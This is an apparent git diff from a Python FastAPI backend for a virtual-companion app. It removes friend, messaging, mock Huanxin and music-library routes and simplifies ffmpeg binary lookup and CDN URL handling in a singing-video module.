||||
user_message_id=int(payload.get("user_message_id") or 0),
|
||||
lover_message_id=int(payload.get("lover_message_id") or 0),
|
||||
error_msg=task.error_msg,
|
||||
),
|
||||
msg="获取成功",
|
||||
)
|
||||
|
||||
|
||||
def _upload_to_oss(file_bytes: bytes, object_name: str) -> str:
|
||||
if not settings.ALIYUN_OSS_ACCESS_KEY_ID or not settings.ALIYUN_OSS_ACCESS_KEY_SECRET:
|
||||
raise HTTPException(status_code=500, detail="未配置 OSS Key")
|
||||
|
|
@ -505,7 +240,7 @@ def _download_to_path(url: str, target_path: str, label: str):
|
|||
|
||||
def _probe_media_duration(path: str) -> Optional[float]:
|
||||
command = [
|
||||
_ffprobe_bin(),
|
||||
"ffprobe",
|
||||
"-v",
|
||||
"error",
|
||||
"-show_entries",
|
||||
|
|
@ -535,7 +270,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
|
|||
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
|
||||
audio_duration = _probe_media_duration(audio_path)
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -584,7 +319,7 @@ def _extract_audio_segment(
|
|||
output_path: str,
|
||||
):
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -623,7 +358,7 @@ def _pad_audio_segment(
|
|||
if pad_sec <= 0:
|
||||
return
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
|
|||
|
|
@ -1,69 +0,0 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
from lover.db import get_db
|
||||
from sqlalchemy.orm import Session
|
||||
from sqlalchemy import and_, or_
|
||||
from lover.models import FriendRelation, User
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/friend/index")
|
||||
@router.post("/api/friend/index")
|
||||
def get_friend_index(user: AuthedUser = Depends(get_current_user), db: Session = Depends(get_db)):
|
||||
"""获取好友列表"""
|
||||
# 查询当前用户的好友关系(双向:user_id 或 friend_id 为当前用户,且 status=1 表示已通过)
|
||||
friend_relations = db.query(FriendRelation).filter(
|
||||
and_(
|
||||
or_(
|
||||
FriendRelation.user_id == user.id,
|
||||
FriendRelation.friend_id == user.id
|
||||
),
|
||||
FriendRelation.status == "1"
|
||||
)
|
||||
).all()
|
||||
|
||||
friend_ids = []
|
||||
result = []
|
||||
for rel in friend_relations:
|
||||
# 确定好友的 user_id(不是自己)
|
||||
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
|
||||
friend_ids.append(fid)
|
||||
|
||||
# 查询好友用户信息
|
||||
friend_users = db.query(User).filter(User.id.in_(friend_ids)).all() if friend_ids else []
|
||||
user_map = {u.id: u for u in friend_users}
|
||||
|
||||
for rel in friend_relations:
|
||||
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
|
||||
friend_user = user_map.get(fid)
|
||||
if not friend_user:
|
||||
continue
|
||||
result.append({
|
||||
"friend_id": fid,
|
||||
"friend": {
|
||||
"id": friend_user.id,
|
||||
"nickname": friend_user.nickname,
|
||||
"avatar": friend_user.avatar,
|
||||
"user_number": str(friend_user.id), # 前端期望 user_number
|
||||
"open_id": "", # 小程序 open_id,如有需要可补充字段
|
||||
},
|
||||
"intimacy": rel.intimacy or 0,
|
||||
"intimacy_level": rel.intimacy_level or 0,
|
||||
"is_online": False, # 默认离线,前端会单独调用在线状态接口
|
||||
})
|
||||
|
||||
return success_response({
|
||||
"data": result,
|
||||
"total": len(result)
|
||||
})
|
||||
|
||||
@router.post("/api/friend/add")
|
||||
def add_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""添加好友"""
|
||||
return success_response({"message": "添加成功"})
|
||||
|
||||
@router.delete("/api/friend/delete")
|
||||
def delete_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""删除好友"""
|
||||
return success_response({"message": "删除成功"})
|
||||
|
|
@ -1,57 +0,0 @@
|
|||
from typing import Optional
|
||||
|
||||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.post("/api/huanxin/getToken")
|
||||
def get_huanxin_token(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信token"""
|
||||
return success_response({
|
||||
"token": "mock_huanxin_token_" + str(user.id),
|
||||
"expires_in": 3600
|
||||
})
|
||||
|
||||
@router.post("/api/huanxin/register")
|
||||
def register_huanxin_user(user: AuthedUser = Depends(get_current_user)):
|
||||
"""注册环信用户"""
|
||||
return success_response({"message": "注册成功"})
|
||||
|
||||
@router.post("/api/huanxin/online")
|
||||
def set_huanxin_online(
|
||||
payload: Optional[dict] = None,
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""获取环信用户在线状态(兼容前端批量查询)"""
|
||||
payload = payload or {}
|
||||
user_ids_raw = payload.get("user_ids")
|
||||
|
||||
# 前端好友列表会传入 user_ids=36,40,41,期待返回数组并支持 .find()
|
||||
if user_ids_raw:
|
||||
ids = []
|
||||
for part in str(user_ids_raw).split(","):
|
||||
part = part.strip()
|
||||
if not part:
|
||||
continue
|
||||
try:
|
||||
ids.append(int(part))
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
return success_response([
|
||||
{"id": uid, "is_online": False} for uid in ids
|
||||
])
|
||||
|
||||
# 兼容旧调用:不传 user_ids 时,返回当前用户在线信息
|
||||
return success_response({"status": "online", "user_id": user.id})
|
||||
|
||||
@router.get("/api/huanxin/user_info")
|
||||
def get_huanxin_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信用户信息"""
|
||||
return success_response({
|
||||
"username": f"user_{user.id}",
|
||||
"nickname": user.nickname,
|
||||
"avatar": ""
|
||||
})
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/msg/count")
|
||||
def get_msg_count(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取未读消息数量"""
|
||||
return success_response({
|
||||
"unread_count": 0,
|
||||
"total_count": 0
|
||||
})
|
||||
|
||||
@router.get("/api/msg/list")
|
||||
def get_msg_list(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取消息列表"""
|
||||
return success_response({
|
||||
"messages": [],
|
||||
"total": 0
|
||||
})
|
||||
|
||||
@router.post("/api/msg/send")
|
||||
def send_msg(user: AuthedUser = Depends(get_current_user)):
|
||||
"""发送消息"""
|
||||
return success_response({"message": "发送成功"})
|
||||
|
|
@ -1,554 +0,0 @@
|
|||
"""
|
||||
音乐库路由
|
||||
"""
|
||||
from typing import List, Optional
|
||||
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Form
|
||||
from sqlalchemy.orm import Session
|
||||
from pydantic import BaseModel, Field
|
||||
from datetime import datetime
|
||||
import os
|
||||
import uuid
|
||||
import hashlib
|
||||
import time
|
||||
|
||||
from lover.db import get_db
|
||||
from lover.deps import get_current_user
|
||||
from lover.models import User, MusicLibrary, MusicLike, SongLibrary, Lover
|
||||
from lover.response import success_response, error_response, ApiResponse
|
||||
from lover.config import settings
|
||||
|
||||
router = APIRouter(prefix="/music", tags=["音乐库"])
|
||||
|
||||
|
||||
# ========== Pydantic 模型 ==========
|
||||
class MusicOut(BaseModel):
|
||||
id: int
|
||||
user_id: int
|
||||
username: str = ""
|
||||
user_avatar: str = ""
|
||||
title: str
|
||||
artist: Optional[str] = None
|
||||
music_url: str
|
||||
cover_url: Optional[str] = None
|
||||
duration: Optional[int] = None
|
||||
upload_type: str
|
||||
external_platform: Optional[str] = None
|
||||
external_id: Optional[str] = None
|
||||
external_url: Optional[str] = None
|
||||
play_count: int = 0
|
||||
like_count: int = 0
|
||||
is_liked: bool = False
|
||||
created_at: datetime
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class MusicListResponse(BaseModel):
|
||||
total: int
|
||||
list: List[MusicOut]
|
||||
|
||||
|
||||
class MusicAddLinkRequest(BaseModel):
|
||||
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
|
||||
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
|
||||
music_url: str = Field(..., min_length=1, max_length=500, description="音乐链接")
|
||||
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
|
||||
duration: Optional[int] = Field(None, description="时长(秒)")
|
||||
|
||||
|
||||
class MusicAddExternalRequest(BaseModel):
|
||||
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
|
||||
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
|
||||
platform: str = Field(..., description="外部平台: netease=网易云, qq=QQ音乐, kugou=酷狗, kuwo=酷我")
|
||||
external_id: str = Field(..., min_length=1, max_length=100, description="外部平台歌曲ID")
|
||||
external_url: str = Field(..., min_length=1, max_length=500, description="外部平台完整链接")
|
||||
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
|
||||
duration: Optional[int] = Field(None, description="时长(秒)")
|
||||
|
||||
|
||||
# ========== 辅助函数 ==========
|
||||
def _cdnize(url: str) -> str:
|
||||
"""将相对路径转换为 CDN 完整路径"""
|
||||
if not url:
|
||||
return ""
|
||||
if url.startswith("http://") or url.startswith("https://"):
|
||||
return url
|
||||
cdn_domain = getattr(settings, "CDN_DOMAIN", "")
|
||||
if cdn_domain:
|
||||
return f"{cdn_domain.rstrip('/')}/{url.lstrip('/')}"
|
||||
return url
|
||||
|
||||
|
||||
def _save_upload_file(file: UploadFile, folder: str = "music") -> str:
|
||||
"""保存上传的文件"""
|
||||
# 生成唯一文件名
|
||||
ext = os.path.splitext(file.filename)[1]
|
||||
filename = f"{uuid.uuid4().hex}{ext}"
|
||||
|
||||
# 创建保存路径
|
||||
upload_dir = os.path.join("public", folder)
|
||||
os.makedirs(upload_dir, exist_ok=True)
|
||||
|
||||
file_path = os.path.join(upload_dir, filename)
|
||||
|
||||
# 保存文件
|
||||
with open(file_path, "wb") as f:
|
||||
f.write(file.file.read())
|
||||
|
||||
# 返回相对路径
|
||||
return f"{folder}/{filename}"
|
||||
|
||||
|
||||
# ========== API 路由 ==========
|
||||
@router.get("/library", response_model=ApiResponse[MusicListResponse])
|
||||
def get_music_library(
|
||||
page: int = 1,
|
||||
page_size: int = 20,
|
||||
keyword: Optional[str] = None,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
获取音乐库列表(所有公开的音乐)
|
||||
"""
|
||||
query = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.deleted_at.is_(None),
|
||||
MusicLibrary.is_public == 1,
|
||||
MusicLibrary.status == "approved"
|
||||
)
|
||||
|
||||
# 关键词搜索
|
||||
if keyword:
|
||||
query = query.filter(
|
||||
(MusicLibrary.title.like(f"%{keyword}%")) |
|
||||
(MusicLibrary.artist.like(f"%{keyword}%"))
|
||||
)
|
||||
|
||||
# 总数
|
||||
total = query.count()
|
||||
|
||||
# 分页
|
||||
offset = (page - 1) * page_size
|
||||
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
|
||||
|
||||
# 获取用户点赞信息
|
||||
liked_music_ids = set()
|
||||
if user:
|
||||
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
|
||||
liked_music_ids = {like.music_id for like in likes}
|
||||
|
||||
# 获取上传用户信息
|
||||
user_ids = [m.user_id for m in music_list]
|
||||
users_map = {}
|
||||
if user_ids:
|
||||
users = db.query(User).filter(User.id.in_(user_ids)).all()
|
||||
users_map = {u.id: u for u in users}
|
||||
|
||||
# 构建返回数据
|
||||
result = []
|
||||
for music in music_list:
|
||||
uploader = users_map.get(music.user_id)
|
||||
result.append(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=uploader.username if uploader else "未知用户",
|
||||
user_avatar=_cdnize(uploader.avatar) if uploader and uploader.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=music.id in liked_music_ids,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
return success_response(MusicListResponse(total=total, list=result))
|
||||
|
||||
|
||||
@router.post("/add-link", response_model=ApiResponse[MusicOut])
|
||||
def add_music_link(
|
||||
data: MusicAddLinkRequest,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
添加音乐链接到音乐库
|
||||
"""
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=data.title,
|
||||
artist=data.artist,
|
||||
music_url=data.music_url,
|
||||
cover_url=data.cover_url,
|
||||
duration=data.duration,
|
||||
upload_type="link",
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url),
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=None,
|
||||
external_id=None,
|
||||
external_url=None,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/add-external", response_model=ApiResponse[MusicOut])
|
||||
def add_external_music(
|
||||
data: MusicAddExternalRequest,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
添加外部平台音乐链接(网易云、QQ音乐等)
|
||||
"""
|
||||
# 验证平台
|
||||
allowed_platforms = ["netease", "qq", "kugou", "kuwo"]
|
||||
if data.platform not in allowed_platforms:
|
||||
return error_response(f"不支持的平台,仅支持: {', '.join(allowed_platforms)}")
|
||||
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=data.title,
|
||||
artist=data.artist,
|
||||
music_url=data.external_url,
|
||||
cover_url=data.cover_url,
|
||||
duration=data.duration,
|
||||
upload_type="external",
|
||||
external_platform=data.platform,
|
||||
external_id=data.external_id,
|
||||
external_url=data.external_url,
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/upload", response_model=ApiResponse[MusicOut])
|
||||
async def upload_music_file(
|
||||
title: str = Form(...),
|
||||
artist: Optional[str] = Form(None),
|
||||
duration: Optional[int] = Form(None),
|
||||
music_file: UploadFile = File(...),
|
||||
cover_file: Optional[UploadFile] = File(None),
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
上传音乐文件到音乐库
|
||||
"""
|
||||
# 检查文件类型
|
||||
allowed_audio = [".mp3", ".wav", ".m4a", ".flac", ".ogg"]
|
||||
allowed_image = [".jpg", ".jpeg", ".png", ".gif", ".webp"]
|
||||
|
||||
music_ext = os.path.splitext(music_file.filename)[1].lower()
|
||||
if music_ext not in allowed_audio:
|
||||
return error_response("不支持的音频格式")
|
||||
|
||||
# 保存音乐文件
|
||||
music_path = _save_upload_file(music_file, "music")
|
||||
|
||||
# 保存封面文件
|
||||
cover_path = None
|
||||
if cover_file:
|
||||
cover_ext = os.path.splitext(cover_file.filename)[1].lower()
|
||||
if cover_ext in allowed_image:
|
||||
cover_path = _save_upload_file(cover_file, "music/covers")
|
||||
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=title,
|
||||
artist=artist,
|
||||
music_url=music_path,
|
||||
cover_url=cover_path,
|
||||
duration=duration,
|
||||
upload_type="file",
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url),
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=None,
|
||||
external_id=None,
|
||||
external_url=None,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/{music_id}/like", response_model=ApiResponse[dict])
|
||||
def like_music(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
点赞音乐
|
||||
"""
|
||||
# 检查音乐是否存在
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
# 检查是否已点赞
|
||||
existing_like = db.query(MusicLike).filter(
|
||||
MusicLike.user_id == user.id,
|
||||
MusicLike.music_id == music_id
|
||||
).first()
|
||||
|
||||
if existing_like:
|
||||
# 取消点赞
|
||||
db.delete(existing_like)
|
||||
music.like_count = max(0, music.like_count - 1)
|
||||
db.commit()
|
||||
return success_response({"is_liked": False, "like_count": music.like_count})
|
||||
else:
|
||||
# 添加点赞
|
||||
like = MusicLike(user_id=user.id, music_id=music_id)
|
||||
db.add(like)
|
||||
music.like_count += 1
|
||||
db.commit()
|
||||
return success_response({"is_liked": True, "like_count": music.like_count})
|
||||
|
||||
|
||||
@router.post("/{music_id}/play", response_model=ApiResponse[dict])
|
||||
def record_play(
|
||||
music_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
记录播放次数
|
||||
"""
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
music.play_count += 1
|
||||
db.commit()
|
||||
|
||||
return success_response({"play_count": music.play_count})
|
||||
|
||||
|
||||
@router.delete("/{music_id}", response_model=ApiResponse[dict])
|
||||
def delete_music(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
删除音乐(仅限上传者)
|
||||
"""
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
if music.user_id != user.id:
|
||||
return error_response("无权删除此音乐")
|
||||
|
||||
music.deleted_at = datetime.utcnow()
|
||||
db.commit()
|
||||
|
||||
return success_response({"message": "删除成功"})
|
||||
|
||||
|
||||
@router.get("/my", response_model=ApiResponse[MusicListResponse])
|
||||
def get_my_music(
|
||||
page: int = 1,
|
||||
page_size: int = 20,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
获取我上传的音乐
|
||||
"""
|
||||
query = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.user_id == user.id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
)
|
||||
|
||||
total = query.count()
|
||||
|
||||
offset = (page - 1) * page_size
|
||||
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
|
||||
|
||||
# 获取点赞信息
|
||||
liked_music_ids = set()
|
||||
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
|
||||
liked_music_ids = {like.music_id for like in likes}
|
||||
|
||||
result = []
|
||||
for music in music_list:
|
||||
result.append(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=music.id in liked_music_ids,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
return success_response(MusicListResponse(total=total, list=result))
|
||||
|
||||
|
||||
|
||||
@router.post("/convert-to-song", response_model=ApiResponse[dict])
|
||||
def convert_music_to_song(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
将音乐库音乐转换为系统歌曲(用于生成唱歌视频)
|
||||
"""
|
||||
# 1. 检查音乐
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
# 2. 检查音乐类型
|
||||
if music.upload_type == 'external':
|
||||
return error_response("外部平台音乐无法生成视频,请使用直链或上传的音乐")
|
||||
|
||||
# 3. 获取音乐 URL
|
||||
music_url = _cdnize(music.music_url)
|
||||
if not music_url:
|
||||
return error_response("音乐地址不可用")
|
||||
|
||||
# 4. 检查是否已转换(避免重复)
|
||||
audio_hash = hashlib.md5(music_url.encode()).hexdigest()
|
||||
existing_song = db.query(SongLibrary).filter(
|
||||
SongLibrary.audio_hash == audio_hash,
|
||||
SongLibrary.deletetime.is_(None)
|
||||
).first()
|
||||
|
||||
if existing_song:
|
||||
return success_response({
|
||||
"song_id": existing_song.id,
|
||||
"title": existing_song.title,
|
||||
"from_cache": True
|
||||
})
|
||||
|
||||
# 5. 获取恋人性别
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
return error_response("请先创建恋人")
|
||||
|
||||
# 6. 创建系统歌曲记录
|
||||
now_ts = int(time.time())
|
||||
|
||||
song = SongLibrary(
|
||||
title=music.title or "未命名",
|
||||
artist=music.artist or "",
|
||||
gender=lover.gender,
|
||||
audio_url=music.music_url, # 存储原始路径(不含 CDN)
|
||||
status=True,
|
||||
weigh=0,
|
||||
createtime=now_ts,
|
||||
updatetime=now_ts,
|
||||
audio_hash=audio_hash,
|
||||
duration_sec=music.duration
|
||||
)
|
||||
|
||||
db.add(song)
|
||||
db.commit()
|
||||
db.refresh(song)
|
||||
|
||||
return success_response({
|
||||
"song_id": song.id,
|
||||
"title": song.title,
|
||||
"from_cache": False
|
||||
})
|
||||
|
|
@ -76,18 +76,7 @@ def _cdnize(url: Optional[str]) -> Optional[str]:
|
|||
return url
|
||||
if url.startswith("http://") or url.startswith("https://"):
|
||||
return url
|
||||
|
||||
# 优先使用 CDN 域名
|
||||
cdn_domain = getattr(settings, 'ALIYUN_OSS_CDN_DOMAIN', None)
|
||||
if cdn_domain:
|
||||
prefix = cdn_domain.rstrip("/")
|
||||
else:
|
||||
# 兜底使用 OSS 默认域名
|
||||
bucket_name = getattr(settings, 'ALIYUN_OSS_BUCKET_NAME', 'hello12312312')
|
||||
endpoint = getattr(settings, 'ALIYUN_OSS_ENDPOINT', 'https://oss-cn-hangzhou.aliyuncs.com')
|
||||
endpoint_clean = endpoint.replace('https://', '').replace('http://', '')
|
||||
prefix = f"https://{bucket_name}.{endpoint_clean}"
|
||||
|
||||
prefix = "https://nvlovers.oss-cn-qingdao.aliyuncs.com"
|
||||
if url.startswith("/"):
|
||||
return prefix + url
|
||||
return f"{prefix}/{url}"
|
||||
|
|
|
|||
|
|
@ -1,8 +1,6 @@
|
|||
import hashlib
|
||||
import logging
|
||||
import hashlib
|
||||
import math
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
|
|
@ -27,7 +25,6 @@ from ..models import (
|
|||
EmoDetectCache,
|
||||
GenerationTask,
|
||||
Lover,
|
||||
MusicLibrary,
|
||||
SingBaseVideo,
|
||||
SingSongVideo,
|
||||
SongLibrary,
|
||||
|
|
@ -38,48 +35,8 @@ from ..models import (
|
|||
from ..response import ApiResponse, success_response
|
||||
from ..task_queue import sing_task_queue
|
||||
|
||||
try:
|
||||
import imageio_ffmpeg # type: ignore
|
||||
except Exception: # pragma: no cover
|
||||
imageio_ffmpeg = None
|
||||
|
||||
logger = logging.getLogger("sing")
|
||||
|
||||
router = APIRouter(prefix="/sing", tags=["sing"])
|
||||
|
||||
|
||||
def _ffmpeg_bin() -> str:
|
||||
"""Prefer system ffmpeg; fallback to imageio-ffmpeg bundled binary."""
|
||||
found = shutil.which("ffmpeg")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
return imageio_ffmpeg.get_ffmpeg_exe()
|
||||
except Exception:
|
||||
pass
|
||||
return "ffmpeg"
|
||||
|
||||
|
||||
def _ffprobe_bin() -> str:
|
||||
"""Prefer system ffprobe; fallback to imageio-ffmpeg bundled binary if available."""
|
||||
found = shutil.which("ffprobe")
|
||||
if found:
|
||||
return found
|
||||
# imageio-ffmpeg only guarantees ffmpeg; most builds include ffprobe alongside.
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
except Exception:
|
||||
pass
|
||||
return "ffprobe"
|
||||
|
||||
SING_BASE_MODEL = "wan2.5-i2v-preview"
|
||||
SING_BASE_RESOLUTION = "480P"
|
||||
SING_WAN26_MODEL = "wan2.6-i2v-flash"
|
||||
|
|
@ -139,29 +96,6 @@ _sing_last_enqueue_at: dict[int, float] = {}
|
|||
_emo_task_semaphore = threading.BoundedSemaphore(max(1, settings.EMO_MAX_CONCURRENCY or 1))
|
||||
|
||||
|
||||
def _check_and_reset_vip_video_gen(user_row: User, db: Session) -> None:
|
||||
"""检查并重置 VIP 用户的视频生成次数"""
|
||||
if not user_row:
|
||||
return
|
||||
|
||||
# 检查是否是 VIP 用户(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
if not is_vip:
|
||||
return
|
||||
|
||||
# 获取上次重置日期
|
||||
last_reset = user_row.video_gen_reset_date
|
||||
today = datetime.utcnow().date()
|
||||
|
||||
# 如果是新的一天,重置次数
|
||||
if not last_reset or last_reset < today:
|
||||
user_row.video_gen_remaining = 2 # VIP 用户每天 2 次
|
||||
user_row.video_gen_reset_date = today
|
||||
db.add(user_row)
|
||||
db.flush()
|
||||
|
||||
|
||||
@contextmanager
|
||||
def _semaphore_guard(semaphore: threading.BoundedSemaphore):
|
||||
semaphore.acquire()
|
||||
|
|
@ -270,20 +204,16 @@ def _resolve_sing_prompts(model: str) -> tuple[str, str]:
|
|||
|
||||
def _download_to_path(url: str, target_path: str):
|
||||
try:
|
||||
logger.info(f"开始下载文件: {url}")
|
||||
resp = requests.get(url, stream=True, timeout=30)
|
||||
except Exception as exc:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 错误: {exc}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败") from exc
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 状态码: {resp.status_code}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败")
|
||||
try:
|
||||
with open(target_path, "wb") as file_handle:
|
||||
for chunk in resp.iter_content(chunk_size=1024 * 1024):
|
||||
if chunk:
|
||||
file_handle.write(chunk)
|
||||
